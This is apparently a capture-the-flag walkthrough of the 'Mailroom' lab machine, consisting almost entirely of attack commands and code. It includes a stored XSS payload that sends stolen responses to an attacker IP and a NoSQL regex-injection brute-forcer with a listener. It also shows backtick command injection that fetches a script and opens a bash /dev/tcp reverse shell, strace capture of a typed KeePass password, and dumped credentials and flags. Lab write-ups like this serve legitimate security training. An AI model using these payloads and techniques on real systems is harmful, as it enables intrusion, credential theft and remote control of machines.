Scanning

> TARGET=10.129.208.180 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-favicon: Unknown favicon MD5: 846CD0D87EB3766F77831902466D753F
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: The Mail Room
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Domain: mailroom.htb

Web Enum

  • dirsearch
> dirsearch -u http://mailroom.htb

[17:29:18] 200 -    0B  - /README.md
[17:29:24] 200 -    7KB - /about.php
[17:29:44] 301 -  313B  - /assets  ->  http://mailroom.htb/assets/
[17:29:44] 403 -  277B  - /assets/
[17:29:54] 200 -    4KB - /contact.php
[17:29:55] 301 -  310B  - /css  ->  http://mailroom.htb/css/
[17:30:07] 200 -    8KB - /index.php
[17:30:08] 200 -    8KB - /index.php/login/
[17:30:09] 301 -  317B  - /javascript  ->  http://mailroom.htb/javascript/ 
  • subdomain
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://mailroom.htb/" -H "Host: FUZZ.mailroom.htb" --hl 128

000000262:   200        267 L    1181 W     13089 Ch    "git"
$subject = '2FA Token';
$message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
mail($to, $subject, $message);

XSS

  • Continue reading the code and exploring the app, http://mailroom.htb/contact.php is vulnerable to xss, both title and text fields.
  • The subdomain http://staff-review-panel.mailroom.htb/ is not directly accessible but can be exploited using the xss vulnerability.
  • mongdb is used, and is vulnerable to nosql injection
  • Craft the following payload as a poc, this pattern can be used to figure our both email and password
<script>
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
    if(xmlHttp.readyState == XMLHttpRequest.DONE) {
        var r2 = new XMLHttpRequest();
        r2.open("POST", "http://<ip>/", false);
        r2.send(btoa(encodeURIComponent(xmlHttp.responseText)));
    }
};
xmlHttp.open("POST", "http://staff-review-panel.mailroom.htb/auth.php", false);
xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlHttp.send("email=tristan@mailroom.htb&password[$regex]=^69.*");
</script>
  • tristan@mailroom.htb was found to be a valid email
curl http://mailroom.htb/contact.php -d 'email=test%40test.com&title=test&message=%3Cscript%3Evar+xmlHttp%3Dnew+XMLHttpRequest%28%29%3BxmlHttp.onreadystatechange%3Dfunction%28%29%7Bif%28xmlHttp.readyState%3D%3DXMLHttpRequest.DONE%29%7Bvar+r2%3Dnew+XMLHttpRequest%28%29%3Br2.open%28%22POST%22%2C%22http%3A%2F%2F<ip>%2F%22%2Cfalse%29%3Br2.send%28btoa%28encodeURIComponent%28xmlHttp.responseText%29%29%29%3B%7D%7D%3BxmlHttp.open%28%22POST%22%2C%22http%3A%2F%2Fstaff-review-panel.mailroom.htb%2Fauth.php%22%2Cfalse%29%3BxmlHttp.setRequestHeader%28%22Content-Type%22%2C%22application%2Fx-www-form-urlencoded%22%29%3BxmlHttp.send%28%22email=tristan@mailroom.htb%26password%5B%24regex%5D%3D.*%22%29%3B%3C%2Fscript%3E'
  • Figure out the password length: 12
curl http://mailroom.htb/contact.php -d 'email=test%40test.com&title=test&message=%3Cscript%3E%0D%0Avar+xmlHttp+%3D+new+XMLHttpRequest%28%29%3B%0D%0AxmlHttp.onreadystatechange+%3D+function%28%29+%7B%0D%0A++++if%28xmlHttp.readyState+%3D%3D+XMLHttpRequest.DONE%29+%7B%0D%0A++++++++var+r2+%3D+new+XMLHttpRequest%28%29%3B%0D%0A++++++++r2.open%28%22POST%22%2C+%22http%3A%2F%2F<ip>%2F%22%2C+false%29%3B%0D%0A++++++++r2.send%28btoa%28encodeURIComponent%28xmlHttp.responseText%29%29%29%3B%0D%0A++++%7D%0D%0A%7D%3B%0D%0AxmlHttp.open%28%22POST%22%2C+%22http%3A%2F%2Fstaff-review-panel.mailroom.htb%2Fauth.php%22%2C+false%29%3B%0D%0AxmlHttp.setRequestHeader%28%22Content-Type%22%2C+%22application%2Fx-www-form-urlencoded%22%29%3B%0D%0AxmlHttp.send%28%22email%3Dtristan%40mailroom.htb%26password[$regex]=.{12}%22%29%3B%0D%0A%3C%2Fscript%3E'
  • Create a python script to bruteforce the password: 69trisRulez!
  • This is a lengthy process, because there is no effective way to feedback, so you need to have a listensing server and the bruteforcer running separately. Also, do not run the bruteforcer too fast, it may cause the server to hold.
  • Run the bruteforcer to find out the password character by character
import requests
import string
import time


for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + '!@#$%^&*()_+':
	r = requests.post('http://mailroom.htb/contact.php', {'email':'test@test.com','title':'test','message':'<script>var xmlHttp = new XMLHttpRequest();xmlHttp.onreadystatechange = function() {    if(xmlHttp.readyState == XMLHttpRequest.DONE) {        var r2 = new XMLHttpRequest();        r2.open("POST", "http://<ip>/?'+c+'", false);        r2.send(btoa(encodeURIComponent(xmlHttp.responseText)));    }  };xmlHttp.open("POST", "http://staff-review-panel.mailroom.htb/auth.php", false);xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");xmlHttp.send("email=tristan@mailroom.htb&password[$regex]=^69trisRulez'+c+'.*");</script>'})
	print(c)
	time.sleep(8)
  • Server for listening, this is utilizing the different response when the regex matches or not.
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
import base64
import urllib.parse


class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()

    def do_GET(self):
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))

    def do_POST(self):
        content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
        post_data = self.rfile.read(content_length) # <--- Gets the data itself
        r = urllib.parse.unquote(base64.b64decode(post_data.decode('utf-8')))
        if 'Invalid email or password' not in r:
            logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
                    str(self.path), str('self.headers'), r)
        else:
            logging.info("nothing")

        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

def run(server_class=HTTPServer, handler_class=S, port=8080):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()

Foothold: www-data

  • Login as tristan to the host with the above credential via ssh
  • Because we can freely make request to the http://staff-review-panel.mailroom.htb app and read the mail on the host, we can now actually login to the app on the target host.
# login
tristan@mailroom:~$ curl --cookie-jar cookie.txt http://staff-review-panel.mailroom.htb/auth.php -d 'email=tristan@mailroom.htb&password=69trisRulez!'
{"success":true,"message":"Check your inbox for an email with your 2FA token"}


# check mail
tritristan@mailroom:~$ cat /var/mail/tristan
Return-Path: <noreply@mailroom.htb>
X-Original-To: tristan@mailroom.htb
Delivered-To: tristan@mailroom.htb
Received: from localhost (unknown [172.19.0.5])
        by mailroom.localdomain (Postfix) with SMTP id C17C51CEF
        for <tristan@mailroom.htb>; Mon, 17 Apr 2023 07:11:46 +0000 (UTC)
Subject: 2FA

Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=245156911bbe95e9fc64cd421ba4d8d7
From noreply@mailroom.htb  Mon Apr 17 07:21:47 2023
Return-Path: <noreply@mailroom.htb>
X-Original-To: tristan@mailroom.htb
Delivered-To: tristan@mailroom.htb
Received: from localhost (unknown [172.19.0.5])
        by mailroom.localdomain (Postfix) with SMTP id 3D2601CF8
        for <tristan@mailroom.htb>; Mon, 17 Apr 2023 07:21:47 +0000 (UTC)
Subject: 2FA

Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=fce0fc26338a425976b7efb27d1d6124


# apply 2FA
tristan@mailroom:~$ curl --cookie cookie.txt http://staff-review-panel.mailroom.htb/auth.php?token=fce0fc26338a425976b7efb27d1d6124


# continue with the cookie jar
tristan@mailroom:~$ curl --cookie cookie.txt http://staff-review-panel.mailroom.htb/ -L
  • Read inspect.php, cmd injection possible using ``` character.
$inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);
$contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
  • can test the poc
> curl --cookie cookie.txt http://staff-review-panel.mailroom.htb/inspect.php -L -d 'inquiry_id=`curl <ip>`'
  • Compose a shell script
bash -i >& /dev/tcp/<ip>/4444 0>&1
  • Fetch the shell script and trigger it
> curl --cookie cookie.txt http://staff-review-panel.mailroom.htb/inspect.php -L -d 'inquiry_id=`curl <ip>/shell.sh -o /tmp/shell.sh`'
> curl --cookie cookie.txt http://staff-review-panel.mailroom.htb/inspect.php -L -d 'inquiry_id=`bash /tmp/shell.sh`'

User: matthew

  • Locate the config file in .git and get matthew’s password, note the last character is # (i.e %23): HueLover83#
www-data@04ca784f2935:/var/www/mailroom/.git$ cat config
cat config
[core]
 repositoryformatversion = 0
 filemode = true
 bare = false
 logallrefupdates = true
[remote "origin"]
 url = http://matthew:HueLover83%23@gitea:3000/matthew/mailroom.git
 fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
 remote = origin
 merge = refs/heads/main
[user]
 email = matthew@mailroom.htb
  • login as matthew and the user flag
tristan@mailroom:~$ su matthew
Password: 
matthew@mailroom:/home/tristan$ cd
matthew@mailroom:~$ ls
personal.kdbx  user.txt
matthew@mailroom:~$ cat user.txt 
93672026de8c69f1ec985140b2b17456

PE: root

  • There is a .kdbx file at /home/matthew/personal.kdbx
  • Use pspy64 to check background process
  • Locate /usr/bin/pearl /usr/bin/kpcli and use strace to intercept its traces
matthew@mailroom:~$ strace -p 437554
  • This will print out the manually input password, save the trace into a txt file and parse, note the \x10 backspace character
> cat strace.txt| grep read | grep 8192 | grep -v '0x5607d9f85d80'
read(5, "\3\331\242\232g\373K\265\1\0\3\0\2\20\0001\301\362\346\277qCP\276X\5!j\374Z\377\3"..., 8192) = 1998
read(0, "!", 8192)                      = 1
read(0, "s", 8192)                      = 1
read(0, "E", 8192)                      = 1
read(0, "c", 8192)                      = 1
read(0, "U", 8192)                      = 1
read(0, "r", 8192)                      = 1
read(0, "3", 8192)                      = 1
read(0, "p", 8192)                      = 1
read(0, "4", 8192)                      = 1
read(0, "$", 8192)                      = 1
read(0, "$", 8192)                      = 1
read(0, "w", 8192)                      = 1
read(0, "0", 8192)                      = 1
read(0, "1", 8192)                      = 1
read(0, "\10", 8192)                    = 1
read(0, "r", 8192)                      = 1
read(0, "d", 8192)                      = 1
read(0, "9", 8192)                      = 1
read(0, "\n", 8192)                     = 1
  • Master password for personal.kdbx: !sEcUr3p4$$w0rd9
matthew@mailroom:~$ kpcli -kdb personal.kdbx


kpcli:/> ls Root/
=== Entries ===
0. food account                                            door.dash.local
1. GItea Admin account                                    git.mailroom.htb
2. gitea database password                                                
3. My Gitea Account                                       git.mailroom.htb
4. root acc                                                               
kpcli:/> show 0

Title: food account
Uname: matthew_doordash
 Pass: fake_password
  URL: http://door.dash.local/
Notes: yum yum food yum

kpcli:/> show 1

Title: GItea Admin account
Uname: administrator
 Pass: CZTwvKT7yHyEdb4
  URL: http://git.mailroom.htb/
Notes: For fixing stuff only!

kpcli:/> show 2

Title: gitea database password
Uname: gitea
 Pass: gitea_l33t_p@ssw04d
  URL: 
Notes: 

kpcli:/> show 3

Title: My Gitea Account
Uname: matthew
 Pass: HueLover83#
  URL: http://git.mailroom.htb/
Notes: for work

kpcli:/> show 4

Title: root acc
Uname: root
 Pass: a$gBa3!GA8
  URL: 
Notes: root account for sysadmin jobs
  • Login using root password to get the flag
matthew@mailroom:~$ su 
Password: 
root@mailroom:/home/matthew# cd
root@mailroom:~# cat root.txt 
c936bd2956868053cc66617bfcc42b36